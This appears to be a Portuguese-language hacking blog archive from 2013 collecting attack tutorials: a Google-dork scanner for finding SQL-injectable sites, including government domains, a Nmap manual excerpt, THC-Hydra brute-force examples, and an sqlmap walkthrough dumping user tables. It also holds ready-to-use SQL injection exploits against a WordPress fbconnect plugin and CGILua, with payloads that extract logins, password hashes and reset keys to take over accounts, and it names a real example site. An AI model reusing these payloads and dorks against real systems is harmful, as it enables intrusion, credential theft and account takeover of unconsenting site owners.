Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador tutorial. Mostrar todas as postagens
Mostrando postagens com marcador tutorial. Mostrar todas as postagens

quarta-feira, 18 de dezembro de 2013

Tutorial SCANNER INURLBR 1.0 / INTERFACE

======[SCANNER INURLBR 1.0 / INTERFACE]=======

Tutorial SCANNER INURLBR 1.0 / INTERFACE


Scanner INURLBR utiliza o motor de 
Busca Google para achar seus alvos.
---------------------------------------------------------------------------------------------

BUSCA POSSÍVEIS VULNERABILIDADES
SQLI(MySQL,MS ACCESS,Microsoft SQL Server,ORACLE,POSTGRESQL)
OU ERROS DE PROGRAMAÇÃO.
OPÇÕES PARA SETAR PROXY.
MUDAR O MOTOR DE BUSCA GOOGLE 202 DISPONÍVEIS.
SETAR EXPLOIT e PERSONALIZA-LO.
PERSONALIZAR PROCURA DE ERROS DENTRO DE CADA URL ENCONTRADA.
---------------------------------------------------------------------------------------------
VÍDEO:



Baixar SCRIPT INURLBR INTERFACE:
https://code.google.com/p/scanner-inurl/

Baixar servidor web xampp:
http://sourceforge.net/projects/xampp/ 
No caso já tenho o servidor web.

Depois do servidor instalado & já iniciado.
Cole seu script INURL na seguinte pasta.

PASTA=> C:\xampp\htdocs\
Coloque o nome do seu script como bot.php
---------------------------------------------------------------------------------------------

Abrindo o scanner...
Quando o arquivo é iniciado no navegador o mesmo
imprime "SEM ACESSO!".

Pois temos uma sec simples.

<CODE>
if (isset($_GET['senha']) && $_GET['senha'] == 'googleinurl') {
    $_SESSION['valida'] = 1; //SETANDO O VALIDADOR DA PAGINA
}
</CODE>

Assim fica o acesso:

URL: http://localhost/bot.php?senha=googleinurl

---------------------------------------------------------------------------------------------


Agora vamos efetuar uma pesquisa simples.
Configuração:

 -*DORK...: O QUE VAI SER BUSCADO||Operadores avançados do Google.

 - PROXY + PORTA..: Caso seja bloquiado pelo Google use um proxy.

 - HOST GOOGLE..: Escolha entre 202 Domínios do google para efetuar
 sua busca.

 - *ARQUIVO SAÍDA.:ONDE VAI SER SALVO SEUS RESULTADOS DE BUSCA.

 - 0xEXPL01T.: PARÂMETRO QUE DEVE SER INJETADO A CADA URL, NO FINAL
 DAS URL'S ENCONTRADAS.
 Assim pode ser injetado uma string que gere erros ou manipulem o servidor.

 - *BUSCAR ERROS: [ PADRÃO ] /  (x)[ PERSONALIZADO ]
 VOU EXPLICAR O PERSONALIZADO  PRIMEIRO.

 - ACHAR ERRO.:É usado junto com a opção *BUSCAR ERROS: PERSONALIZADO.
 Pois foge do padrão de erros SQLI ou ERROS de programação ja configurados
 no script.
 Digamos que você deseja encontrar sites do governo que tenha a frase
 "Municipal".
 Usamos uma dork
 DORK=> site:.rj.gov.br  / Vai listar todos sites do governos Rio de Janeiro.
 ACHAR ERRO.:Municipal  / Vai procurar a palavra "Municipal" dentro das url's
 encontradas com a Dork acima.
 VAMOS LÁ.....
 AGORA VAMOS AGUARDAR....
 Depois de alguns minutos....
 O Scanner valida todo o html da url.
 agora vamos para busca de erros padrão do script.
---------------------------------------------------------------------------------------------

 - *BUSCAR ERROS: (x)[ PADRÃO ] /  [ PERSONALIZADO ]
 PADRÃO  Busca erros no modo padrão é buscar erros SQLI + Erros de programação.
 Vamos ver quais são os erros padrões do script.
 Pode ou não ser junto com exploit isso vai depender de sua dork.
 Algumas dorks já forçam o buscador a listar sites com erros.
 Em outras situações usamos o exploit para gerar o erro desejado.
 
<CODE>
#ERROS MYSQL
$erro['MYSQL-01'] = 'mysql_';
$erro['MYSQL-02'] = 'You have an error in your SQL syntax;';
$erro['MYSQL-03'] = 'Warning: mysql_';
$erro['MYSQL-04'] = 'function.mysql';
$erro['MYSQL-05'] = 'MySQL result index';
$erro['MYSQL-06'] = 'syntax;';
$erro['MYSQL-07'] = 'MySQL';
#ERROS MICROSOFT
$erro['MICROSOFT-01'] = 'Microsoft JET Database';
$erro['MICROSOFT-02'] = 'ODBC Microsoft Access Driver';
$erro['MICROSOFT-03'] = '500 - Internal server error';
$erro['MICROSOFT-04'] = 'Microsoft OLE DB Provider';
$erro['MICROSOFT-05'] = 'Unclosed quotes';
$erro['MICROSOFT-06'] = 'ADODB.Command';
$erro['MICROSOFT-07'] = 'ADODB.Field error';
$erro['MICROSOFT-08'] = 'Microsoft VBScript';
#ERROS ORACLE
$erro['ORACLE-01'] = 'Microsoft OLE DB Provider for Oracle';
$erro['ORACLE-02'] = 'ORA-';
#ERROS POSTGRESQL
$erro['POSTGRESQL-01'] = 'pg_';
$erro['POSTGRESQL-02'] = 'Warning: pg_';
$erro['POSTGRESQL-03'] = 'PostgreSql Error:';
#ERROS PHP
$erro['ERROPHP-01'] = 'Warning: include';
$erro['ERROPHP-02'] = 'Fatal error: include';
$erro['ERROPHP-03'] = 'Warning: require';
$erro['ERROPHP-04'] = 'Fatal error: require';
$erro['ERROPHP-05'] = 'ADODB_Exception';
#ERROS ASP
$erro['ERROASP-01'] = 'Version Information: Microsoft .NET Framework';
$erro['ERROASP-02'] = "Server.Execute Error";
#ERROS INDEFINIDOS
$erro['INDEFINIDO-01'] = 'SQL';
$erro['INDEFINIDO-02'] = 'Fatal error';
$erro['INDEFINIDO-03'] = 'Warning';
</CODE>
---------------------------------------------------------------------------------------------
AGORA VAMOS USAR O MODO SIMPLES COM EXPLOIT PADRÃO SQLI.

Exemplo de uso

DORK[0]=> inurl:cgi/cgilua.exe/sys/start.htm?sid=1

Com essa dork ele vai buscar na url cgi/cgilua.exe/sys/start.htm?sid=1[SEU EXPLOIT]
E injetar o exploit no final de cada resultado.
Ficamdo da seguinte forma:

http://www.site01.com.br/pasta/cgi/cgilua.exe/sys/start.htm?sid=1'0x272D2D3B
http://www.site02.com.br/cgi/cgilua.exe/sys/start.htm?sid=5'0x272D2D3B
http://site03.gov.br/pasta1/pasta2/cgi/cgilua.exe/sys/start.htm?sid=2'0x272D2D3B

O script vai executar internamente as urls encontradas + Exploits.
Achando algum erro padrão dentro do html da pagina é logo destacado como vull.

Vamos ver na pratica.. ? ... go go go go !
Agora vamos esperar....
Vamos testar mais uma busca....

As dorks aé.... use sua criatividade....

http://blog.inurl.com.br/2013/12/usando-sncanner-inurl-para-achar-falhas.html

quarta-feira, 27 de novembro de 2013

Guia de Referência do Nmap (Página do Manual)


Guia de Referência do Nmap (Página do Manual)


O Nmap (“Network Mapper”) é uma ferramenta de código aberto para exploração de rede e auditoria de segurança. Ela foi desenhada para escanear rapidamente redes amplas, embora também funcione muito bem contra hosts individuais. O Nmap utiliza pacotes IP em estado bruto (raw) de maneira inovadora para determinar quais hosts estão disponíveis na rede, quais serviços (nome da aplicação e versão) os hosts oferecem, quais sistemas operacionais (e versões de SO) eles estão executando, que tipos de filtro de pacotes/firewalls estão em uso, e dezenas de outras características. Embora o Nmap seja normalmente utilizado para auditorias de segurança, muitos administradores de sistemas e rede consideram-no útil para tarefas rotineiras tais como inventário de rede, gerenciamento de serviços de atualização agendados, e monitoramento de host ou disponibilidade de serviço.

A saída do Nmap é uma lista de alvos escaneados, com informações adicionais de cada um dependendo das opções utilizadas. Uma informação chave é a “tabela de portas interessantes”. Essa tabela lista o número da porta e o protocolo, o nome do serviço e o estado. O estado pode ser aberto (open), filtrado (filtered), fechado (closed), ou não-filtrado (unfilterd). Aberto (open) significa que uma aplicação na máquina-alvo está escutando as conexões/pacotes naquela porta. Filtrado (filtered) significa que o firewall, filtro ou outro obstáculo de rede está bloqueando a porta de forma que o Nmap não consegue dizer se ela está aberta (open) ou fechada (closed). Portas fechadas (closed)não possuem uma aplicação escutando nelas, embora possam abrir a qualquer instante. Portas são classificadas como não filtradas (unfiltered)quando elas respondem às sondagens do Nmap, mas o Nmap não consegue determinar se as portas estão abertas ou fechadas. O Nmap reporta as combinações aberta|filtrada (open|filtered)e fechada|filtrada (closed|filtered)quando não consegue determinar qual dos dois estados descrevem melhor a porta. A tabela de portas também pode incluir detalhes de versão de software quando a detecção de versão for solicitada. Quando um scan do protocolo IP é solicitado (-sO), o Nmap fornece informações dos protocolos IP suportados ao invés de portas que estejam abertas.

Além da tabela de portas interessantes, o Nmap pode fornecer informações adicionais sobre os alvos, incluíndo nomes de DNS reverso, possível sistema operacional, tipos de dispositivos e endereços MAC.

Um scan típico do Nmap é mostrado em Example 1, “Uma amostra de scan do Nmap”. Os únicos argumentos que o Nmap utiliza nesse exemplo são -A, para habilitar a detecção de SO e a versão, -T4 para execução mais rápida, e os hostnames de dois alvos.
::::Guia de Referência::::
Notas da Tradução
Sumário das Opções
Especificação de Alvo
Descoberta de Hosts
Fundamentos do Escaneamento de Portas
Técnicas de Escaneamento de Portas
Especificação de Portas e Ordem de Scan
Detecção de Serviço e Versão
Detecção de SO
Temporização (Timing) e Desempenho
Evitando e enganando o Firewall/IDS
Saída (Output)
Opções Diversas (Miscelânea)
Interação em Tempo de Execução
Exemplos
Bugs
Autor

segunda-feira, 30 de setembro de 2013

Exploit Wordpress fbconnect_action pei pei pei

Exploit Wordpress
Exploit Wordpress fbconnect_action pei pei pei

DORK['1']:inurl:"/?fbconnect_action=myhome"


http://VULL.COM/?fbconnect_action=myhome&userid=2[BUG-SQL]

EXPLOIT:
Mostrando user,email,senha(user_login,user_email,user_pass):
http://VULL.COM/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,user_pass),7,8,9,10,11,12+from+wp_users--


Com o email do usuário em mãos, vá até o painel de administrador.

http://VULL.COM/wp-login.php
"click em Lost your password ?"
É peça uma nova senha enviando para o e-mail.


Agora vamos consultar a KEY gerada pelo wordpress CAMPO:KEY=user_activa​

http://VULL.COM/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_activa​tion_key),7,8,9,10,11,12+from+wp_users--


Vamos modificar a senha do usuario com a KEY CAPTURADA

http://VULL.COM/wp-login.php?action=rp&key=[KEY]&login=[NOME_USUARIO]
USANDO:
http://VULL.COM/wp-login.php?action=rp&key=65465465AWDAD46546465464&login=MARIA

Pronto agora só trocar a senha do usuario e seja feliz Hackeiro hahahahahaahaha.


EXEMPLO:
http://www.artkernel.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,user_pass),7,8,9,10,11,12+from+wp_users--



terça-feira, 17 de setembro de 2013

CGILua 3.2.1 CGI exploit

CGILua 3.2.1 CGI exploit

O CGILua'
é uma ferramenta que permite criar páginas Web dinâmicas e manipular a inserção de dados por meio de formulários Web.
O CGILua permite separar o tratamento dos dados e a lógica do processo de geração de páginas, facilitando o desenvolvimento de aplicativos Web em Lua. Uma das vantagens do CGILua é sua capacidade de abstrair o servidor Web utilizado.
Você pode desenvolver um aplicativo em CGILua para um servidor Web e executá-lo em qualquer outro servidor Web compatível com CGILua.
O CGILua é um programa escrito em C onde você embute trechos escritos em Lua. E o executável do CGILua faz toda a comunicação desse trecho Lua com o protocolo http da Internet. Ou seja, ele faz o papel do CGI.


======================================================================
DORK[1]: CGILua 3.2.1 CGI
Filtrando domínio.
DORK[2]: site:.gov.br intext:"CGILua 3.2.1 CGI"
DORK[3]: inurl:cgi/cgilua.exe/sys/start.htm?sid=1
DORK[4]: inurl:"cgi/cgilua.exe/"
======================================================================


ID de referências para cada página tem um ID específico ("sid") que o quadro utiliza na maioria das URLs.
Por exemplo, para acessar a página referida pelo ID = 1, o
Seguinte URL é usada:

======================================================================
Exploit - SQL injection
======================================================================

FALHA: /publique/cgi/cgilua.exe/sys/start.htm?sid=1[INJEÇÃO-SQL]

EXPLOIT = /publique/cgi/cgilua.exe/sys/start.htm?sid=1))+U
NION+ALL
+SELECT+IF((ASCII(SUBSTRING((SELECT+CONCAT(F_Login,':',F_Password)+FROM

+Publique.T_Actor+LIMIT+1+OFFSET+0),1,1))>97),BENCHMARK(1000000,MD5('A'
)),0)%23


Essa consulta primeiros concatena "F_Login" e colunas "F_Password" do tabela interna "T_Actor" e retorna a primeira linha (graças à "LIMIT 1 DESVIO 0 "statement). Então, ele verifica se o valor ASCII do primeiro caractere retornado é maior do que 97 (a letra 'a'). Se a condição for satisfeita ele irá acionar a função de referência, causando um atraso significativo no servidor resposta (cerca de 4 segundos usando nosso laboratório de testes). Ao repetir a consulta

======================================================================
USANDO Exploit:
======================================================================

http://SITE/publique/cgi/cgilua.exe/sys/start.htm?sid=1[EXPLOIT]


http://SITE/publique/cgi/cgilua.exe/sys/start.htm?sid=1))+U
NION+ALL
+SELECT+IF((ASCII(SUBSTRING((SELECT+CONCAT(F_Login,':',F_Password)+FROM

+Publique.T_Actor+LIMIT+1+OFFSET+0),1,1))>97),BENCHMARK(1000000,MD5('A'
)),0)%23


NEM TODOS DÃO CERTO, mas pode gerar um erro que vai te mostrar qual tipo de banco você esta tratando, assim direcionar melhor sua investida.


REF:http://pt.wikipedia.org/wiki/CGILua
REF:http://www.securityfocus.com/archive/1/archive/1/509142/100/0/threaded
Tutorial CGILua 3.2 :http://www.yumpu.com/pt/document/view/5904124/tutorial-cgilua-32

domingo, 15 de setembro de 2013

TUTORIAL BÁSICO THC-HYDRA [PT-BR]

Tutorial Thc-Hydra

TUTORIAL BASICO THC-HYDRA [PT-BR]

 _   _               _               _           
| |_| |__   ___     | |__  _   _  __| |_ __ __ _ 
| __| '_ \ / __|____| '_ \| | | |/ _` | '__/ _` |
| |_| | | | (_|_____| | | | |_| | (_| | | | (_| |
 \__|_| |_|\___|    |_| |_|\__, |\__,_|_|  \__,_|
                           |___/    TUTORIAL BASICO THC-HYDRA [PT-BR]


_________________________________________________________________________________
- Por : MDH3LL
- Contato : [email protected]
- Data 10/04/2010
_________________________________________________________________________________


INDICE :
_________________________________________________________________________________
-0x00 - Instalando THC-HYDRA no (Windows XP).
-0x01 - Executando.
-0x02 - Opções.
-0x03 - Exemplos{
 -- Exemplo (1) FTP
 -- Exemplo (2) http-head
 -- Exemplo (3) http-post-form
 -- Exemplo (4) POP3
-0x04 - Proxy.
_________________________________________________________________________________

* THC-Hydra:Open Source/Multiplataforma/
* Desenvolvido por uma organização Alemã chamada "The Hacker's Choice"(THC).
* O Programa pode ser adquirido gratuitamente no site oficial do projeto : http://freeworld.thc.org/thc-hydra/

Hydra usa um mecanismo de FORÇA BRUTA/BRUTE FORCE (ou busca exaustiva):
Este tipo de ataque consiste em fazer o programa trabalhar exaustivamente tentando combinações de 
senhas e nomes de usuários ate chegar ao seu objetivo obvio.

Protocolos suportados atualmente na versão 5.4:
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable
=================================================================================
[0x00] Instalando THC-HYDRA no (Windows XP) :
=================================================================================
O Primeiro passo é fazer o download da V.Win32/Cywin do programa no site oficial,descompactar e rodar.

-> Criar uma variável de ambiente em :
painel de controle > sistema > aba avançado > variáveis de ambiente e adicionando o caminho em path.
exemplo: C:\hydra-5.4-win;

=================================================================================
[0x01] Executando :
=================================================================================
Rode 'hydra' no prompt de comandos para chamar o programa.

/////////////////////////////////////////////////////////////////////////////////
C:\Documents and Settings\user\Desktop>hydra
Hydra v5.4 [http://www.thc.org] (c) 2006 by van Hauser / THC 

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
 [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
 server service [OPT]

Options:
  -R        restore a previous aborted/crashed session
  -S        connect via SSL
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE try password PASS, or load several passwords from FILE
  -e ns     additional checks, "n" for null password, "s" try login as pass
  -C FILE   colon seperated "login:pass" format, instead of -L/-P options
  -M FILE   server list for parallel attacks, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f        exit after the first found login/password pair (per host if -M)
  -t TASKS  run TASKS number of connects in parallel (default: 16)
  -w TIME   defines the max wait time in seconds for responses (default: 30)
  -v / -V   verbose mode / show login+pass combination for each attempt
  server    the target server (use either this OR the -M option)
  service   the service to crack. Supported protocols: telnet ftp pop3[-ntlm]
imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco
cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5
rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd
  OPT       some service modules need special input (see README!)

Use HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT and HYDRA_PROXY_AUTH env for a proxy.
Hydra is a tool to guess/crack valid login/password pairs - use allowed only
for legal purposes! If used commercially, tool name, version and web address
must be mentioned in the report. Find the newest version at http://www.thc.org
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Podemos ver acima que quando executado exibe informações como versão,sintaxe de uso e 
as opções seguidas de comentários.

=================================================================================
[0x02] Opções :
=================================================================================

 -R Restaura sessões abordadas/quebradas.
 -S Conexão segura usando SSL caso seja necessário.
 -s Especifica qual porta o hydra vai estabelecer a conexão.
 -l Nome|login da vitima.
 -L Carrega uma lista contendo nomes|logins de vitimas.(1 por linha)
 -p Especifica senha única.
 -P Carrega uma lista com senhas.(1 por linha)
 -e ns adcional 'n' testa senha em branco || adicional 's' testa user como pass.
 -C Usado para carregar um arquivo contendo usuário:senha. formato usuário:senha equivale a -L/-P.
 -M Carrega lista de servidores alvos.(1 por linha)
 -o Salva as senhas encontradas dentro do arquivo que você especificar.
 -f Faz o programa parar de trabalhar quando a senha||usuário for encontrada[o].
 -t Limita o numero de solicitações por vez.(default: 16)
 -w Define o tempo máximo em segundos para esperar resposta do serv.(default: 30s)
 -v / -V Modo verbose do programa. 'V' mostra todas tentativas.

Server: Servidor alvo. 
Exemplos: 
 127.0.0.1
 localhost
 pop.gmail.com
 pop.mail.yahoo.com.br 
 pop3.live.com 

Service: Protocolo||Serviço que sera chamado|usado.
Exemplos:
 pop3
 ftp
 smtp
 vnc 
 imap
 http-head
 http-post-form

=================================================================================
[0x03] Exemplos:
=================================================================================
Colocarei na pratica as opções já explicadas no índice [0x02] deste tutorial. 

Exemplo (1) FTP
=================================================================================
Sintaxe:
---------------------------------------------------------------------------------
hydra -l root -P pass.txt -s 21 localhost ftp
---------------------------------------------------------------------------------

Saida:
/////////////////////////////////////////////////////////////////////////////////
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2009-08-17 21:23:57
[DATA] 16 tasks, 1 servers, 23 login tries (l:1/p:23), ~1 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 127.0.0.1   login: root   password: chaw123
[STATUS] attack finished for localhost (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-08-17 21:24:34
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

*[21][ftp] host: 127.0.0.1   login: root   password: chaw123 -> Esta saída mostra que foi encontrado a senha:chaw123
pertencente ao usuário root.


Exemplo (2) http-head
=================================================================================
Sintaxe:
---------------------------------------------------------------------------------
hydra -L users.txt -P pass.txt -o saida.txt localhost http-head /xampp/
---------------------------------------------------------------------------------

Saida:
/////////////////////////////////////////////////////////////////////////////////
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-01-28 00:40:56
[DATA] 16 tasks, 1 servers, 266 login tries (l:14/p:19), ~16 tries per task
[DATA] attacking service http-head on port 80
[80][www] host: 127.0.0.1   login: root   password: Est2yu
[STATUS] attack finished for localhost (waiting for childs to finish)
select: Bad file descriptor
Hydra (http://www.thc.org) finished at 2010-01-28 00:41:00
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

O Hydra encontrou usuario:root||senha:Est2yu e fez o favor de salvar no arquivo 'saida.txt'.

Dentro do arquivo foi escrito as seguintes linhas pelo programa:
---------------------------------------------------------------------------------
# Hydra v5.4 run at 2010-01-27 19:59:59 on localhost http-head (hydra -L users.txt -P
 pass.txt -o saida.txt localhost http-head)
[80][www] host: 127.0.0.1   login: root password: Est2yu
---------------------------------------------------------------------------------
/xammp/ é o caminho/path -> http://localhost/xammp/


Exemplo (3) http-post-form
=================================================================================
Sintaxe:
---------------------------------------------------------------------------------
hydra -l admin -P pass.txt -o saida.txt -t 1 -f 127.0.0.1
 http-post-form "index.php:nome=^USER^&senha=^PASS^:invalido"
---------------------------------------------------------------------------------

Saida:
/////////////////////////////////////////////////////////////////////////////////
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-01-27 23:19:33
[DATA] 1 tasks, 1 servers, 19 login tries (l:1/p:19), ~19 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 127.0.0.1   login: admin   password: admin
[STATUS] attack finished for 127.0.0.1 (valid pair found)
Hydra (http://www.thc.org) finished at 2010-01-27 23:19:33
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

-> Para criar esta sintaxe tive que olhar o código da pagina >>
---------------------------------------------------------------------------------

---------------------------------------------------------------------------------

 __________________________________________________________
|__Mozilla Firefox___________________________________|-|_|X|
|                                                          |
|                                                          |
|                                                          |
|                                                          |
|           _____________________________________          |
|          |               nome                  |         |
|          |_____________________________________|         |
|           _____________________________________          |
|          |               senha                 |         |
|          |_____________________________________|         |
|                                                          |
|                     ________________                     |
|                    |     Enviar     |                    |
|                    |________________|                    |
|                                                          |
|__________________________________________________________|
|_Concluído________________________________________________|

-> POST index.php nome=^USER^&senha=^PASS^&boo=Enviar
-> Use o complemento 'live HTTP headers' para Firefox que com toda certeza facilitara bastante sua vida.
-> Quando envio dados errados a pagina me retorna 'invalido' no titulo.
---------------------------------------------------------------------------------
invalido
---------------------------------------------------------------------------------

Complete ->
---------------------------------------------------------------------------------
hydra -l [usuário] -P [lista-senhas] -o saida.txt -t 1 -f [host] http-post-form
"[destino]:[nome_da_variável]=^USER^&[nome_da_variável]=^PASS^:[frase de erro]"
---------------------------------------------------------------------------------

Completo ->
---------------------------------------------------------------------------------
hydra -l admin -P pass.txt -o saida.txt -t 1 -f 127.0.0.1 http-post-form "index.php:nome=^USER^&senha=^PASS^:invalido"
---------------------------------------------------------------------------------

Sendo que ^USER^ e ^PASS^ sera completado pelo hydra durante o loop que ele vai fazer testando senha por senha.
-> ^USER^ = admin e ^PASS^ = $_ <- -="" exemplo="" outro=""> http://localhost/login/login.html
-> Codigo fonte da pagina >>
---------------------------------------------------------------------------------

---------------------------------------------------------------------------------

Sintaxe:
---------------------------------------------------------------------------------
hydra -l admin -P pass.txt localhost http-post-form "/login/login_vai.php:login=^USER^&senha=^PASS^:Senha inválida!"
---------------------------------------------------------------------------------

Saida:
/////////////////////////////////////////////////////////////////////////////////
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-04-11 00:31:02
[DATA] 1 tasks, 1 servers, 11 login tries (l:1/p:11), ~11 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 127.0.0.1   login: admin   password: teste
[STATUS] attack finished for localhost (valid pair found)
Hydra (http://www.thc.org) finished at 2010-04-11 00:31:07
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


Exemplo (4) POP3
=================================================================================
Sintaxe:
---------------------------------------------------------------------------------
hydra -L users.txt -p 123456 -S pop3.xxx.com pop3
---------------------------------------------------------------------------------

Saida:
/////////////////////////////////////////////////////////////////////////////////
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-01-28 00:55:28
[DATA] 9 tasks, 1 servers, 9 login tries (l:9/p:1), ~1 tries per task
[DATA] attacking service pop3 on port 110
[STATUS] attack finished for pop3.xxx.com (waiting for childs to finish)
[110][pop3] host: pop3.xxx.com   login: [email protected] password: 123456
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


=================================================================================
[0x04] Proxy:
=================================================================================

Proxy web:
---------------------------------------------------------------------------------
HYDRA_PROXY_HTTP="http://123.45.67.89:8080/"
---------------------------------------------------------------------------------

Para qualquer outro use : HYDRA_PROXY_CONNECT
---------------------------------------------------------------------------------
HYDRA_PROXY_CONNECT=proxy.anonymizer.com:8000
---------------------------------------------------------------------------------

Com autentificação :
---------------------------------------------------------------------------------
HYDRA_PROXY_AUTH="nome:senha"
---------------------------------------------------------------------------------

sábado, 9 de março de 2013

Personalizando comandos SQLMAP e Analise de código PHP


Personalizando comandos SQLMAP e Analise de código PHP


Personalizando comandos SQLMAP e Analise de código PHP

SQLMAP é a uma ótima ferramenta de injeção SQL que eu já vi: feito em python, Opensource, e os comandos vão de acordo com a necessidade do invasor.
 Vamos intender como funciona á URL

 URL: https://www.siteteste.com.br/index.php?id=1 
https :[Protocolo usado]
 www.siteteste.com.br :[Domínio alvo]
 index.php :[Arquivo php onde tem os include que fazem a consulta]
 ?id :[Parâmetro GET que recebe valores para que assim faça uma consulta no BD ou validação.]
1 :[Valor que será passado]
Código:

index.php?id=1
 -------------------------------INDEX.PHP-------------------------

  1. if($_GET['id']){
  2. $id = $_GET['id']; // Capturando valor GET e inserindo na variavel $id;

  3. require_once('include/function.php'); // Inserindo arquivo function no código atual.

  4. }?>

  5. Teste SQLMAP
  • pesquisa("noticias",$id);
  • ------------------------------------------------------------------------
    Agora vamos entender como funciona o arquivo function.php

    ----------------------------FUNCTION.PHP-------------------------

    1. function pesquisa($tabela,$id){ //Noma da function

    2. $con = mysql_connect("localhost","root","123456"); // editar host, usuario, senha

    3. $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}"; //concatenando valores, web é o banco de dados.

    4. $query = mysql_query($sql); //executando select

    5. if (!$query) {  die ('ERRO!:' . mysql_error()); }//Se der algo errado.

    6. while($escrever=mysql_fetch_array($query)){ //Agora vamos percorrer o array.

    7.     echo "$escrever['NOTICIA']
      ";
    8. //Imprimindo valor atual do campo noticia

    9. }

    10.  mysql_close($con); // Fechando conexão!
    11. ?>

    ----------------------------------------------------------------------------
    Codigo vulneravel pois em nem um momento é feito o filtro adequado do parâmetroID assim possibilitando a modificação do sql de busca. 
    Digamos se na get_['id'] o usuario inserir o seguinte valorindex.phpid?=-1 order by 50; 
    Se a tabela noticias tiver menos que se 50 colunas ele vai retorno falando que não existe 50 colunas.Assim vai, o Sqlmap faz todo trabalho de injeção identificando quantidade de colunas, a versão do banco.Se as senhas estiverem em md5 o sqlmap já tem um wordlist.


    Dentro do codigo ficaria assim.
    $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}";
    Valor modificado "SELECT * FROM web.noticias WHERE id=-1 order by 50;"

    Agora vamos para o sqlmap

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 --dbs -p id -v 3 --proxy="http://localhost:8118"

    Não explicarei comandos sqlmap favor pesquisar.

    Pelo código criado o site esta vulnerável e retorna os seguintes valores.Banco de dados:

    [ * ] web
    [ * ] information_schema

    Agora queremos saber quais as tabelas do banco de dados "web".

     ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" --tablesTabelas:
    [ * ] usuario
    [ * ] noticias
    [ * ] smtp
    [ * ] blog


    Neste momento precisamos saber quais as colunas da tabela usuario.

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario --columns

    +--------+--------------+
    | Column | Type |
    +--------+--------------+
    | ID | int(11) |
    | login | varchar(255) |
    | senha | varchar(255) |
    +--------+--------------+

    Logico que queres saber os usuario e senhas do site.

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario -C "ID,login,senha" --dump


    Vamos lá galera estudar não basta saber os comandos.Tem que é o funcionamento.

    Grupo de Estudos Lacking Face &Anonymous Brasil.

    quarta-feira, 2 de janeiro de 2013

    Solucionando “Erro: Kernel driver not installed (rc=-1908)” do Virtualbox 3.2.4 no Ubuntu

    Solucionando “Erro: Kernel driver not installed (rc=-1908)” do Virtualbox 3.2.4 no Ubuntu

    Recentemente trabalhando com minhas máquinas virtuais no Virtualbox 3.2.4, da Sun/Oracle, me deparei com a seguinte mensagem de erro abaixo ao tentar executar qualquer uma máquina virtual:
    Imagem Erro: Kernel driver not installed (rc=-1908)
    Após algumas varreduras no Oráculo (Google), cheguei a seguinte solução quer compartilho com vocês:
    1º Passo:
    Verificar através do comando “cat /etc/group” se o seu usuário pertence ao grupo de usuários vboxusers. Caso não, execute o comando abaixo:
    sudo addgroup usuário vboxusers
    2º Passo:
    Executar o comando da mensagem de erro como usuário root.

    sudo /etc/init.d/vboxdrv setup
    3º Passo:
    Da permissão de leitura, escrita e execução ao o usuário root e ao grupo de usuários da pasta /dev/vboxdrv

